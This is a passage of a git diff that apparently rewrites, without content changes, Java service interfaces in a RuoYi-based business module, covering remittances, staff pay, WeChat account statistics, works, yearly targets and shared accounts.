updateClaimByBo(TpReceiptBo bo); + + /** + * 回退汇款 + * @param bo + * @return + */ + int updateBackByBo(TpReceiptBo bo); + + + /** + * 新增收款管理 + * + * @param bo 收款管理 + * @return 是否新增成功 + */ + Boolean insertReceipt(TpReceiptBo bo); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpRemittanceService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpRemittanceService.java index 9ea14d5..40de493 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpRemittanceService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpRemittanceService.java @@ -1,68 +1,68 @@ -package org.dromara.work.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.bo.TpRemittanceBo; -import org.dromara.work.domain.vo.TpRemittanceVo; - -import java.util.Collection; -import java.util.List; - -/** - * 汇款Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpRemittanceService { - - /** - * 查询汇款 - * - * @param id 主键 - * @return 汇款 - */ - TpRemittanceVo queryById(Long id); - - /** - * 分页查询汇款列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 汇款分页列表 - */ - TableDataInfo queryPageList(TpRemittanceBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的汇款列表 - * - * @param bo 查询条件 - * @return 汇款列表 - */ - List queryList(TpRemittanceBo bo); - - /** - * 新增汇款 - * - * @param bo 汇款 - * @return 是否新增成功 - */ - Boolean insertByBo(TpRemittanceBo bo); - - /** - * 修改汇款 - * - * @param bo 汇款 - * @return 是否修改成功 - */ - Boolean updateByBo(TpRemittanceBo bo); - - /** - * 校验并批量删除汇款信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.bo.TpRemittanceBo; +import org.dromara.work.domain.vo.TpRemittanceVo; + +import java.util.Collection; +import java.util.List; + +/** + * 汇款Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpRemittanceService { + + /** + * 查询汇款 + * + * @param id 主键 + * @return 汇款 + */ + TpRemittanceVo queryById(Long id); + + /** + * 分页查询汇款列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 汇款分页列表 + */ + TableDataInfo queryPageList(TpRemittanceBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的汇款列表 + * + * @param bo 查询条件 + * @return 汇款列表 + */ + List queryList(TpRemittanceBo bo); + + /** + * 新增汇款 + * + * @param bo 汇款 + * @return 是否新增成功 + */ + Boolean insertByBo(TpRemittanceBo bo); + + /** + * 修改汇款 + * + * @param bo 汇款 + * @return 是否修改成功 + */ + Boolean updateByBo(TpRemittanceBo bo); + + /** + * 校验并批量删除汇款信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpStaffPayService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpStaffPayService.java index 90eab4c..d57e0af 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpStaffPayService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpStaffPayService.java @@ -1,68 +1,68 @@ -package org.dromara.work.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.bo.TpStaffPayBo; -import org.dromara.work.domain.vo.TpStaffPayVo; - -import java.util.Collection; -import java.util.List; - -/** - * 客服支出记录Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpStaffPayService { - - /** - * 查询客服支出记录 - * - * @param id 主键 - * @return 客服支出记录 - */ - TpStaffPayVo queryById(Long id); - - /** - * 分页查询客服支出记录列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 客服支出记录分页列表 - */ - TableDataInfo queryPageList(TpStaffPayBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的客服支出记录列表 - * - * @param bo 查询条件 - * @return 客服支出记录列表 - */ - List queryList(TpStaffPayBo bo); - - /** - * 新增客服支出记录 - * - * @param bo 客服支出记录 - * @return 是否新增成功 - */ - Boolean insertByBo(TpStaffPayBo bo); - - /** - * 修改客服支出记录 - * - * @param bo 客服支出记录 - * @return 是否修改成功 - */ - Boolean updateByBo(TpStaffPayBo bo); - - /** - * 校验并批量删除客服支出记录信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.bo.TpStaffPayBo; +import org.dromara.work.domain.vo.TpStaffPayVo; + +import java.util.Collection; +import java.util.List; + +/** + * 客服支出记录Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpStaffPayService { + + /** + * 查询客服支出记录 + * + * @param id 主键 + * @return 客服支出记录 + */ + TpStaffPayVo queryById(Long id); + + /** + * 分页查询客服支出记录列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 客服支出记录分页列表 + */ + TableDataInfo queryPageList(TpStaffPayBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的客服支出记录列表 + * + * @param bo 查询条件 + * @return 客服支出记录列表 + */ + List queryList(TpStaffPayBo bo); + + /** + * 新增客服支出记录 + * + * @param bo 客服支出记录 + * @return 是否新增成功 + */ + Boolean insertByBo(TpStaffPayBo bo); + + /** + * 修改客服支出记录 + * + * @param bo 客服支出记录 + * @return 是否修改成功 + */ + Boolean updateByBo(TpStaffPayBo bo); + + /** + * 校验并批量删除客服支出记录信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpStaffService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpStaffService.java index 0b2d761..177e479 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpStaffService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpStaffService.java @@ -1,68 +1,68 @@ -package org.dromara.work.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.bo.TpStaffBo; -import org.dromara.work.domain.vo.TpStaffVo; - -import java.util.Collection; -import java.util.List; - -/** - * 人员Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpStaffService { - - /** - * 查询人员 - * - * @param id 主键 - * @return 人员 - */ - TpStaffVo queryById(Long id); - - /** - * 分页查询人员列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 人员分页列表 - */ - TableDataInfo queryPageList(TpStaffBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的人员列表 - * - * @param bo 查询条件 - * @return 人员列表 - */ - List queryList(TpStaffBo bo); - - /** - * 新增人员 - * - * @param bo 人员 - * @return 是否新增成功 - */ - Boolean insertByBo(TpStaffBo bo); - - /** - * 修改人员 - * - * @param bo 人员 - * @return 是否修改成功 - */ - Boolean updateByBo(TpStaffBo bo); - - /** - * 校验并批量删除人员信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.bo.TpStaffBo; +import org.dromara.work.domain.vo.TpStaffVo; + +import java.util.Collection; +import java.util.List; + +/** + * 人员Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpStaffService { + + /** + * 查询人员 + * + * @param id 主键 + * @return 人员 + */ + TpStaffVo queryById(Long id); + + /** + * 分页查询人员列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 人员分页列表 + */ + TableDataInfo queryPageList(TpStaffBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的人员列表 + * + * @param bo 查询条件 + * @return 人员列表 + */ + List queryList(TpStaffBo bo); + + /** + * 新增人员 + * + * @param bo 人员 + * @return 是否新增成功 + */ + Boolean insertByBo(TpStaffBo bo); + + /** + * 修改人员 + * + * @param bo 人员 + * @return 是否修改成功 + */ + Boolean updateByBo(TpStaffBo bo); + + /** + * 校验并批量删除人员信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpWechatNumService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpWechatNumService.java index 14ad808..2a1cf5d 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpWechatNumService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpWechatNumService.java @@ -1,68 +1,68 @@ -package org.dromara.work.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.bo.TpWechatNumBo; -import org.dromara.work.domain.vo.TpWechatNumVo; - -import java.util.Collection; -import java.util.List; - -/** - * 更新好友数记录Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpWechatNumService { - - /** - * 查询更新好友数记录 - * - * @param id 主键 - * @return 更新好友数记录 - */ - TpWechatNumVo queryById(Long id); - - /** - * 分页查询更新好友数记录列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 更新好友数记录分页列表 - */ - TableDataInfo queryPageList(TpWechatNumBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的更新好友数记录列表 - * - * @param bo 查询条件 - * @return 更新好友数记录列表 - */ - List queryList(TpWechatNumBo bo); - - /** - * 新增更新好友数记录 - * - * @param bo 更新好友数记录 - * @return 是否新增成功 - */ - Boolean insertByBo(TpWechatNumBo bo); - - /** - * 修改更新好友数记录 - * - * @param bo 更新好友数记录 - * @return 是否修改成功 - */ - Boolean updateByBo(TpWechatNumBo bo); - - /** - * 校验并批量删除更新好友数记录信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.bo.TpWechatNumBo; +import org.dromara.work.domain.vo.TpWechatNumVo; + +import java.util.Collection; +import java.util.List; + +/** + * 更新好友数记录Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpWechatNumService { + + /** + * 查询更新好友数记录 + * + * @param id 主键 + * @return 更新好友数记录 + */ + TpWechatNumVo queryById(Long id); + + /** + * 分页查询更新好友数记录列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 更新好友数记录分页列表 + */ + TableDataInfo queryPageList(TpWechatNumBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的更新好友数记录列表 + * + * @param bo 查询条件 + * @return 更新好友数记录列表 + */ + List queryList(TpWechatNumBo bo); + + /** + * 新增更新好友数记录 + * + * @param bo 更新好友数记录 + * @return 是否新增成功 + */ + Boolean insertByBo(TpWechatNumBo bo); + + /** + * 修改更新好友数记录 + * + * @param bo 更新好友数记录 + * @return 是否修改成功 + */ + Boolean updateByBo(TpWechatNumBo bo); + + /** + * 校验并批量删除更新好友数记录信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpWechatService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpWechatService.java index be25cf2..521e60b 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpWechatService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpWechatService.java @@ -1,105 +1,105 @@ -package org.dromara.work.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.bo.OrderRankingBo; -import org.dromara.work.domain.bo.TpWechatBo; -import org.dromara.work.domain.vo.TpWechatVo; -import org.dromara.work.domain.vo.WechatSumVo; -import org.dromara.work.domain.vo.WxNumDayListVo; - -import java.util.Collection; -import java.util.List; - -/** - * 基本信息Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpWechatService { - - /** - * 查询基本信息 - * - * @param id 主键 - * @return 基本信息 - */ - TpWechatVo queryById(Long id); - - /** - * 分页查询基本信息列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 基本信息分页列表 - */ - TableDataInfo queryPageList(TpWechatBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的基本信息列表 - * - * @param bo 查询条件 - * @return 基本信息列表 - */ - List queryList(TpWechatBo bo); - - /** - * 新增基本信息 - * - * @param bo 基本信息 - * @return 是否新增成功 - */ - Boolean insertByBo(TpWechatBo bo); - - /** - * 修改基本信息 - * - * @param bo 基本信息 - * @return 是否修改成功 - */ - Boolean updateByBo(TpWechatBo bo); - - /** - * 校验并批量删除基本信息信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - - /** - * 修改使用人 - * - * @param bo - * @return - */ - boolean updateUserByBo(TpWechatBo bo); - - /** - * 微信信息统计 - * - * @param bo - * @return - */ - WechatSumVo queryListSum(TpWechatBo bo); - - /** - * 微信日统计 - * @param bo - * @param wxIds - * @return - */ - List wxDayList(OrderRankingBo bo, List wxIds); - - /** - * 微信月统计 - * @param bo - * @param wxIds - * @return - */ - List wxMonthList(OrderRankingBo bo, List wxIds); - - List queryListByIds(List userIds); -} +package org.dromara.work.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.bo.OrderRankingBo; +import org.dromara.work.domain.bo.TpWechatBo; +import org.dromara.work.domain.vo.TpWechatVo; +import org.dromara.work.domain.vo.WechatSumVo; +import org.dromara.work.domain.vo.WxNumDayListVo; + +import java.util.Collection; +import java.util.List; + +/** + * 基本信息Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpWechatService { + + /** + * 查询基本信息 + * + * @param id 主键 + * @return 基本信息 + */ + TpWechatVo queryById(Long id); + + /** + * 分页查询基本信息列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 基本信息分页列表 + */ + TableDataInfo queryPageList(TpWechatBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的基本信息列表 + * + * @param bo 查询条件 + * @return 基本信息列表 + */ + List queryList(TpWechatBo bo); + + /** + * 新增基本信息 + * + * @param bo 基本信息 + * @return 是否新增成功 + */ + Boolean insertByBo(TpWechatBo bo); + + /** + * 修改基本信息 + * + * @param bo 基本信息 + * @return 是否修改成功 + */ + Boolean updateByBo(TpWechatBo bo); + + /** + * 校验并批量删除基本信息信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + + /** + * 修改使用人 + * + * @param bo + * @return + */ + boolean updateUserByBo(TpWechatBo bo); + + /** + * 微信信息统计 + * + * @param bo + * @return + */ + WechatSumVo queryListSum(TpWechatBo bo); + + /** + * 微信日统计 + * @param bo + * @param wxIds + * @return + */ + List wxDayList(OrderRankingBo bo, List wxIds); + + /** + * 微信月统计 + * @param bo + * @param wxIds + * @return + */ + List wxMonthList(OrderRankingBo bo, List wxIds); + + List queryListByIds(List userIds); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpWechatUserService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpWechatUserService.java index 6013c6b..72dcc18 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpWechatUserService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpWechatUserService.java @@ -1,68 +1,68 @@ -package org.dromara.work.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.bo.TpWechatUserBo; -import org.dromara.work.domain.vo.TpWechatUserVo; - -import java.util.Collection; -import java.util.List; - -/** - * 微信使用人修改历史Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpWechatUserService { - - /** - * 查询微信使用人修改历史 - * - * @param id 主键 - * @return 微信使用人修改历史 - */ - TpWechatUserVo queryById(Long id); - - /** - * 分页查询微信使用人修改历史列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 微信使用人修改历史分页列表 - */ - TableDataInfo queryPageList(TpWechatUserBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的微信使用人修改历史列表 - * - * @param bo 查询条件 - * @return 微信使用人修改历史列表 - */ - List queryList(TpWechatUserBo bo); - - /** - * 新增微信使用人修改历史 - * - * @param bo 微信使用人修改历史 - * @return 是否新增成功 - */ - Boolean insertByBo(TpWechatUserBo bo); - - /** - * 修改微信使用人修改历史 - * - * @param bo 微信使用人修改历史 - * @return 是否修改成功 - */ - Boolean updateByBo(TpWechatUserBo bo); - - /** - * 校验并批量删除微信使用人修改历史信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); -} +package org.dromara.work.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.bo.TpWechatUserBo; +import org.dromara.work.domain.vo.TpWechatUserVo; + +import java.util.Collection; +import java.util.List; + +/** + * 微信使用人修改历史Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpWechatUserService { + + /** + * 查询微信使用人修改历史 + * + * @param id 主键 + * @return 微信使用人修改历史 + */ + TpWechatUserVo queryById(Long id); + + /** + * 分页查询微信使用人修改历史列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 微信使用人修改历史分页列表 + */ + TableDataInfo queryPageList(TpWechatUserBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的微信使用人修改历史列表 + * + * @param bo 查询条件 + * @return 微信使用人修改历史列表 + */ + List queryList(TpWechatUserBo bo); + + /** + * 新增微信使用人修改历史 + * + * @param bo 微信使用人修改历史 + * @return 是否新增成功 + */ + Boolean insertByBo(TpWechatUserBo bo); + + /** + * 修改微信使用人修改历史 + * + * @param bo 微信使用人修改历史 + * @return 是否修改成功 + */ + Boolean updateByBo(TpWechatUserBo bo); + + /** + * 校验并批量删除微信使用人修改历史信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpWorksService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpWorksService.java index 610d6c7..2a98633 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpWorksService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpWorksService.java @@ -1,76 +1,76 @@ -package org.dromara.work.service; - -import org.dromara.work.domain.vo.TpWorksVo; -import org.dromara.work.domain.bo.TpWorksBo; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.mybatis.core.page.PageQuery; - -import java.util.Collection; -import java.util.List; - -/** - * 作品收藏Service接口 - * - * @author Maosw - * @date 2025-07-23 - */ -public interface ITpWorksService { - - /** - * 查询作品收藏 - * - * @param id 主键 - * @return 作品收藏 - */ - TpWorksVo queryById(Long id); - - /** - * 分页查询作品收藏列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 作品收藏分页列表 - */ - TableDataInfo queryPageList(TpWorksBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的作品收藏列表 - * - * @param bo 查询条件 - * @return 作品收藏列表 - */ - List queryList(TpWorksBo bo); - - /** - * 新增作品收藏 - * - * @param bo 作品收藏 - * @return 是否新增成功 - */ - Boolean insertByBo(TpWorksBo bo); - - /** - * 修改作品收藏 - * - * @param bo 作品收藏 - * @return 是否修改成功 - */ - Boolean updateByBo(TpWorksBo bo); - - /** - * 校验并批量删除作品收藏信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - - /** - * 根据条件查询作品收藏 - * - * @param bo 查询条件 - * @return 作品收藏 - */ - TpWorksVo queryByTpWorks(TpWorksBo bo); -} +package org.dromara.work.service; + +import org.dromara.work.domain.vo.TpWorksVo; +import org.dromara.work.domain.bo.TpWorksBo; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; + +import java.util.Collection; +import java.util.List; + +/** + * 作品收藏Service接口 + * + * @author Maosw + * @date 2025-07-23 + */ +public interface ITpWorksService { + + /** + * 查询作品收藏 + * + * @param id 主键 + * @return 作品收藏 + */ + TpWorksVo queryById(Long id); + + /** + * 分页查询作品收藏列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 作品收藏分页列表 + */ + TableDataInfo queryPageList(TpWorksBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的作品收藏列表 + * + * @param bo 查询条件 + * @return 作品收藏列表 + */ + List queryList(TpWorksBo bo); + + /** + * 新增作品收藏 + * + * @param bo 作品收藏 + * @return 是否新增成功 + */ + Boolean insertByBo(TpWorksBo bo); + + /** + * 修改作品收藏 + * + * @param bo 作品收藏 + * @return 是否修改成功 + */ + Boolean updateByBo(TpWorksBo bo); + + /** + * 校验并批量删除作品收藏信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + + /** + * 根据条件查询作品收藏 + * + * @param bo 查询条件 + * @return 作品收藏 + */ + TpWorksVo queryByTpWorks(TpWorksBo bo); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpYearService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpYearService.java index 3458fc6..a69c2ec 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpYearService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITpYearService.java @@ -1,77 +1,77 @@ -package org.dromara.work.service; - -import com.github.yulichang.base.MPJBaseService; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpYear; -import org.dromara.work.domain.bo.TpYearBo; -import org.dromara.work.domain.vo.TpYearVo; - -import java.util.Collection; -import java.util.List; - -/** - * 年目标Service接口 - * - * @author Maosw - * @date 2024-08-12 - */ -public interface ITpYearService extends MPJBaseService { - - /** - * 查询年目标 - * - * @param id 主键 - * @return 年目标 - */ - TpYearVo queryById(Long id); - - /** - * 分页查询年目标列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 年目标分页列表 - */ - TableDataInfo queryPageList(TpYearBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的年目标列表 - * - * @param bo 查询条件 - * @return 年目标列表 - */ - List queryList(TpYearBo bo); - - /** - * 新增年目标 - * - * @param bo 年目标 - * @return 是否新增成功 - */ - Boolean insertByBo(TpYearBo bo); - - /** - * 修改年目标 - * - * @param bo 年目标 - * @return 是否修改成功 - */ - Boolean updateByBo(TpYearBo bo); - - /** - * 校验并批量删除年目标信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - - /** - * 根据用户和年份查询 - * @param yearBo - * @return - */ - TpYearVo queryTpYear(TpYearBo yearBo); -} +package org.dromara.work.service; + +import com.github.yulichang.base.MPJBaseService; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpYear; +import org.dromara.work.domain.bo.TpYearBo; +import org.dromara.work.domain.vo.TpYearVo; + +import java.util.Collection; +import java.util.List; + +/** + * 年目标Service接口 + * + * @author Maosw + * @date 2024-08-12 + */ +public interface ITpYearService extends MPJBaseService { + + /** + * 查询年目标 + * + * @param id 主键 + * @return 年目标 + */ + TpYearVo queryById(Long id); + + /** + * 分页查询年目标列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 年目标分页列表 + */ + TableDataInfo queryPageList(TpYearBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的年目标列表 + * + * @param bo 查询条件 + * @return 年目标列表 + */ + List queryList(TpYearBo bo); + + /** + * 新增年目标 + * + * @param bo 年目标 + * @return 是否新增成功 + */ + Boolean insertByBo(TpYearBo bo); + + /** + * 修改年目标 + * + * @param bo 年目标 + * @return 是否修改成功 + */ + Boolean updateByBo(TpYearBo bo); + + /** + * 校验并批量删除年目标信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + + /** + * 根据用户和年份查询 + * @param yearBo + * @return + */ + TpYearVo queryTpYear(TpYearBo yearBo); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITzSharedAccountService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITzSharedAccountService.java index 987da13..19f2a1f 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITzSharedAccountService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITzSharedAccountService.java @@ -1,85 +1,85 @@ -package org.dromara.work.service; - -import org.dromara.work.domain.TzSharedAccount; -import org.dromara.work.domain.vo.TzSharedAccountVo; -import org.dromara.work.domain.bo.TzSharedAccountBo; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.mybatis.core.page.PageQuery; - -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * 共享账号Service接口 - * - * @author Maosw - * @date 2025-05-06 - */ -public interface ITzSharedAccountService { - - /** - * 查询共享账号 - * - * @param id 主键 - * @return 共享账号 - */ - TzSharedAccountVo queryById(Long id); - - /** - * 分页查询共享账号列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 共享账号分页列表 - */ - TableDataInfo queryPageList(TzSharedAccountBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的共享账号列表 - * - * @param bo 查询条件 - * @return 共享账号列表 - */ - List queryList(TzSharedAccountBo bo); - - /** - * 新增共享账号 - * - * @param bo 共享账号 - * @return 是否新增成功 - */ - Boolean insertByBo(TzSharedAccountBo bo); - - /** - * 修改共享账号 - * - * @param bo 共享账号 - * @return 是否修改成功 - */ - Boolean updateByBo(TzSharedAccountBo bo); - - /** - * 校验并批量删除共享账号信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - - /** - * 查询共享账号数量 - * - * @param bo 查询条件 - * @return 共享账号数量 - */ - Map queryCount(TzSharedAccountBo bo); - - /** - * 批量更新共享账号 - * - * @param list1 共享账号列表 - */ - void updateBatchById(List list1); -} +package org.dromara.work.service; + +import org.dromara.work.domain.TzSharedAccount; +import org.dromara.work.domain.vo.TzSharedAccountVo; +import org.dromara.work.domain.bo.TzSharedAccountBo; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.mybatis.core.page.PageQuery; + +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * 共享账号Service接口 + * + * @author Maosw + * @date 2025-05-06 + */ +public interface ITzSharedAccountService { + + /** + * 查询共享账号 + * + * @param id 主键 + * @return 共享账号 + */ + TzSharedAccountVo queryById(Long id); + + /** + * 分页查询共享账号列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 共享账号分页列表 + */ + TableDataInfo queryPageList(TzSharedAccountBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的共享账号列表 + * + * @param bo 查询条件 + * @return 共享账号列表 + */ + List queryList(TzSharedAccountBo bo); + + /** + * 新增共享账号 + * + * @param bo 共享账号 + * @return 是否新增成功 + */ + Boolean insertByBo(TzSharedAccountBo bo); + + /** + * 修改共享账号 + * + * @param bo 共享账号 + * @return 是否修改成功 + */ + Boolean updateByBo(TzSharedAccountBo bo); + + /** + * 校验并批量删除共享账号信息 + * + * @param ids 